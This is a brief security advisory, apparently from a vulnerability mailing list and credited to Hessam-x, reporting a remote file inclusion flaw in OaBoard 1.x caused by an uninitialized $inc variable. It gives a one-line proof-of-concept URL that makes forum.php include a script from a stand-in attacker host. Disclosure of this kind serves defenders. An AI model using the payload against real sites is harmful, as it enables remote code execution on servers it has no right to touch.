OaBoard version 1.x have remote file inclusion .=0D Variables $inc isn't initialized in the include()=0D http://host/oaboard/forum.php?inc=http://evil_script/=0D Hessam-x (www.hessamx.net)